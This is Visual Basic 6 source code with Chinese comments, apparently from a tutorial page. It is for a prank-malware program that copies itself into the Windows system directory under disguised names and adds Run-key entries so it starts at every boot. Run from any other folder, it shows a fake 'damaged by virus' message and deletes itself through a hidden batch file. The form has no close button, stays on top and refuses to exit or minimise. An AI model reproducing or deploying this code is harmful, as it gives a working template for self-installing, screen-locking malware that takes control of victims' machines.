sp; '''' '''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' Option Explicit
''''读写注册表 Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
Private Const HKEY_CURRENT_USER = &H80000001 Private Const HKEY_LOCAL_MACHINE = &H80000002 Private Const REG_SZ = 1
''''窗体总在最前 Private Declare Function SetWindowPos Lib "User32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long
Private Const HWND_TOPMOST = -1
''''查找系统目录 Private Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long Private Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Private Const MAX_PATH = 260
''''去掉关闭按钮 Private Declare Function GetSystemMenu Lib "User32" (ByVal hwnd As Long, ByVal bRevert As Long) As Long Private Declare Function RemoveMenu Lib "User32" (ByVal hMenu As Long, ByVal nPosition As Long, ByVal wFlags As Long) As Long Private Declare Function DrawMenuBar Lib "User32" (ByVal hwnd As Long) As Long Private Declare Function GetMenuItemCount Lib "User32" (ByVal hMenu As Long) As Long
Private Const MF_BYPOSITION = &H400& Private Const MF_DISABLED = &H2&
Dim ExitButton As Boolean
''''取得windows目录 Function GetWinPath() Dim strFolder As String Dim lngResult As Long strFolder = String(MAX_PATH, 0) lngResult = GetWindowsDirectory(strFolder, MAX_PATH) If lngResult <> 0 Then GetWinPath = Left(strFolder, InStr(strFolder, Chr(0)) - 1) Else GetWinPath = "" End If End Function
''''取得system目录 Function GetSystemPath() Dim strFolder As String Dim lngResult As Long strFolder = String(MAX_PATH, 0) lngResult = GetSystemDirectory(strFolder, MAX_PATH) If lngResult <> 0 Then GetSystemPath = Left(strFolder, InStr(strFolder, Chr(0)) - 1) Else GetSystemPath = "" End If End Function
''''文件是否存在 Function FileExists(filename As String) As Integer On Error Resume Next Dim i As Integer i = Len(Dir$(filename)) If Err Or i = 0 Then FileExists = False Else FileExists = True End Function
''''延时 Private Sub delay(ByVal n As Single) Dim tm1 As Single, tm2 As Single tm1 = Timer Do tm2 = Timer If tm2 < tm1 Then tm2 = tm2 + 86400 If tm2 - tm1 > n Then Exit Do DoEvents Loop End Sub
''''去掉关闭按钮 Private Sub DisableX(Frm As Form) Dim hMenu As Long, nCount As Long hMenu = GetSystemMenu(Frm.hwnd, 0) nCount = GetMenuItemCount(hMenu) Call RemoveMenu(hMenu, nCount - 1, MF_DISABLED Or MF_BYPOSITION) DrawMenuBar Frm.hwnd End Sub
Private Sub Form_Load() On Error Resume Next Dim mePath As String Dim hKey As Long Dim strCmd As String Dim strRunCmd As String mePath = App.Path If Right(mePath, 1) <> "\" Then mePath = mePath & "\" If App.PrevInstance Then End ''''写入注册表 strRunCmd = "internet.exe" Call RegCreateKey(HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Run", hKey) Call RegSetValueEx(hKey, "system", 0&, REG_SZ, ByVal strRunCmd, Len(strRunCmd) + 1) Call RegCloseKey(hKey) strRunCmd = "msints.exe" Call RegCreateKey(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Run", hKey) Call RegSetValueEx(hKey, "MsIDE", 0&, REG_SZ, ByVal strRunCmd, Len(strRunCmd) + 1) Call RegCloseKey(hKey)
''''复制自己 Dim SourceFile, DestinationFile If FileExists(GetSystemPath & "\internet.exe") = 0 Then SourceFile = mePath & App.EXEName & ".exe" DestinationFile = GetSystemPath & "\internet.exe" FileCopy SourceFile, DestinationFile SourceFile = mePath & App.EXEName & ".exe" DestinationFile = GetSystemPath & "\msints.exe" FileCopy SourceFile, DestinationFile End If ''''检查程序是否在系统目录下 If UCase$(App.Path) <> UCase$(GetSystemPath) Then MsgBox "程序代码不完整或系统出现错误,程序可能已被病毒破坏。", vbOKOnly Open GetWinPath & "\killme.bat" For Append As #1 Print #1, "@echo off" Print #1, "dir " & GetSystemPath & " /w" Print #1, "del " & mePath & App.EXEName & ".exe" Print #1, "del " & GetWinPath & "\killme.bat" Close #1 Shell "killme.bat", vbHide End End If ''''后备程序 If UCase$(App.EXEName & ".exe") = UCase$("msints.exe") Then End Frame1.Top = 120 Frame1.Left = 1080 Frame2.Top = 120 Frame2.Left = 1080 Frame2.Visible = False Call DisableX(Me) ''''窗体总在最前 SetWindowPos Me.hwnd, HWND_TOPMOST, Me.Left / Screen.TwipsPerPixelX, Me.Top \ Screen.TwipsPerPixelY, Me.Width \ Screen.TwipsPerPixelX, Me.Height \ Screen.TwipsPerPixelY, 0 End Sub
Private Sub Form_Resize() ''''程序被最小化时返回初始状态 If Me.WindowState = 1 Then Me.WindowState = 0 End Sub
Private Sub Form_Unload(Cancel As Integer) ''''禁止程序退出 If Not ExitButton Then Cancel = True End Sub
Private Sub cmdSure_Click() Frame1.Visible = False Frame2.Visible = True delay 30 Frame1.Visible = True Frame2.Visible = False End Sub
Private Sub Label2_Click() End End Sub
上一页 [1] [2] [3] 没有相关教程
|